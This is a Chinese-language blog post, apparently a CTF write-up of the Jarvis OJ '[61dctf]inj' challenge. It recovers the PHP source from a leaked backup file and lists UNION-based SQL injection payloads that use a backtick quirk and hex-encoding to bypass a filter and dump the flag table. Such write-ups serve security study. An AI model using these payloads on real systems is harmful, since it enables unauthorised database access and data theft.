美文网首页
2019-10-04 Jarvis OJ [61dctf]inj

2019-10-04 Jarvis OJ [61dctf]inj

作者: KanoWill | 来源:发表于2019-10-04 12:48 被阅读0次

    题目提示先获得源码,首先考虑源码泄露,运气比较好
    尝试了index.php~直接获得了源码

    <?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    ?>
    

    发现这里使用了反引号,比较特别,去百度了一下,发现下面两行代码是等价的

    desc abc
    desc abc `abc`
    

    因为反引号中的字符串会被当成表解析,这里只要前者表存在,即可运行,这里应该就是考察点了
    那么开始注入
    payload:

    ?table=test` ` union select database()
    

    正常回显,加入limit 1,1,成功得到数据库名:61d300
    paylaod:

    ?table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
    

    成功得到数据表名:secret_flag,secret_test

    ?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=secret_flag limit 1,1
    

    失败,考虑flag被过滤

    ?table=test` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
    

    成功得到列名:flagUwillNeverKnow

    ?table=test` ` union select flagUwillNeverKnow from secret_flag limit 1,1
    

    getFlag:flag{luckyGame~}

    相关文章

      网友评论

          本文标题:2019-10-04 Jarvis OJ [61dctf]inj

          本文链接:https://www.haomeiwen.com/subject/iytspctx.html